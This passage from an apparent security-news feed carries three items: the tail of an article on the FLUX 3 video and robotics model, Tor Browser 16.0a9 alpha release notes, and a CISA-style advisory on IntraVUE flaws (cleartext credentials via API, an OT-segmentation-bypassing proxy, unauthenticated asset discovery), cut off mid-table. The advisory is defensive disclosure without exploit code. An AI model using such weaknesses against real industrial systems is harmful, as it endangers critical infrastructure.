AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Panduit IntraVUE]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.
The following versions of Panduit IntraVUE are a...]]></description>
<link>https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.</strong></p>
<p>The following versions of Panduit IntraVUE are affected:</p>
<ul>
<li>IntraVUE &lt;=3.2.1a14 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Pronetiqs</td>
<td>Panduit IntraVUE</td>
<td>Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Netherlands</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40430</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40430">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42933</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/441.html">CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44955</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
